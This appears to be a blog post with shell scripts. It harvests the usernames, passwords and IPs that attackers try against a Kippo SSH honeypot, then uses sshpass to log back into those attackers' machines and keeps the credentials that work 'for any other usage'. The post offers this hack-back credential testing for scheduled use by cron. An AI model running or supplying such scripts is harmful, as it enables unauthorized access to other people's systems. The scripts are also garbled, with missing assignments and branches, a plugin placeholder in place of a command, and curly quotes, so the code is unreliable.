First we log all the connection attempts to my server(Live or new Virtual Machine) using the package called Kippo – http://code.google.com/p/kippo/.
Then we create this file I called grab_ssh_info.sh(Click for latest)
# Run this every day at least in order to get all the entries.
# Run this before the logrotate does its work on the kippo log(You are rotating it right?) for the day/week/month$
# Cron could be 44 min mark every hour so when it rotates at midnight you will not lose much data.
# Start a new log.
if [ -e /root/scripts/kippo_ssh_auths.log ]; then
# Since I am only looking at the recent listings, only look at todays based on the date timestamp
todays_date=[crayon-5d0b6e899032b892606641 ]date +%F
# Only read todays and loop each line in the string
grep -i $todays_date /home/ris/kippo-0.5/log/kippo.log | while read -r line; do
# Only read the lines that contain login auths and IPs. All in one line in this case.
echo $line | grep -i "login attempt"
# Cut out the different parts.
echo $line | grep -i "login attempt" | cut -d '[' -f 2 | cut -d ',' -f 3 | cut -d ']' -f 1
echo $line | grep -i "login attempt" | cut -d '[' -f 3 | cut -d '/' -f 1
echo $line | grep -i "login attempt" | cut -d '[' -f 3 | cut -d '/' -f 2 | cut -d ']' -f 1
# Throw it all in together for outputing to a log of my own.
# IF we do not already have it in the log, append the info to it.
if [ ! -e /root/scripts/kippo_ssh_auths.log ]; then
grep -q “$output” /root/scripts/kippo_ssh_auths.log
if [ $? == 1 ]; then
echo “$inIP|$inUSER|$inPASS” >> /root/scripts/kippo_ssh_auths.log
Then we can use the copy of /root/kippo_ssh_auths.log log to try and connect BACK to the door knockers machine and see if the login works.
If it does, add it to a success log(if new) and go on to the next one.
If it fails, ignore it. It will be deleted when we delete the copy of the log file at the end of the script.
I call this file test_ssh_info.sh
# This script will take mv the /root/scripts/kippo_ssh_auths.log log to /root/scripts/test_ssh_auths.log
# so we can safely work on it.
# After moving, it will go line by line and take the arguments and test them by ssh.
# If it works, the info will be written to another log, /root/scripts/valid_ssh_auths.log for any other usage.
# Suggest running at 45 min mark every hour. Right after the grab info script.
mv /root/scripts/kippo_ssh_auths.log /root/scripts/test_ssh_auths.log
# Old string seperator
# The one we want
while read line; do
echo "Testing: $line"
# Split the line into a array
# Format IP|USERNAME|PASSWORD
# echo "$testip $testuser $testpass"
# Use the tool sshpass to passthrough a password to ssh
# How can I do this in parallel ?
sshpass -p "$testpass" ssh -q -o "StrictHostKeyChecking no" -l "$testuser" $testip "exit"
# sshpass -p "$testpass" ssh -o "StrictHostKeyChecking no" -l "$testuser" $testip "exit"
# echo "Return Code: $testssh"
# sshpass will exit with code 0 if it logged in ok.
# ?? I was testing it and had some errors using the script. It would exit with 5. If I did it manualy, it worked $
if [ $testssh == 0 ]; then
if [ ! -e /root/scripts/valid_ssh_auths.log ]; then
grep -q "$output" /root/scripts/valid_ssh_auths.log
if [ $? == 1 ]; then
echo "$line" >> /root/scripts/valid_ssh_auths.log
echo "Valid: $line"
echo "NOT Valid: $line"
done < /root/scripts/test_ssh_auths.log;
# Change back the String Seperator
# Remove the log that we tested
) for cron to make sure your Kippo is still running.
I noticed that the small VPS I was running would kill Kippo once awhile because I ran out of memory(32MB) and swap(32MB). So I tested every minute to see if needed starting again.
ps aux | grep -i twistd | grep -q -i kippo
if [ $code == 1 ]; then
sudo -u ris /home/ris/kippo-0.5/start.sh
echo "Started Kippo again."
Set your log rotation to cycle the Kippo log every 24 hours or my scripts will be re testing a lot of ssh connections.
Set your cron to run them whenever. I recommend just before the logrotate cycle. Just make sure it is sequenced right. Do the grab script first.
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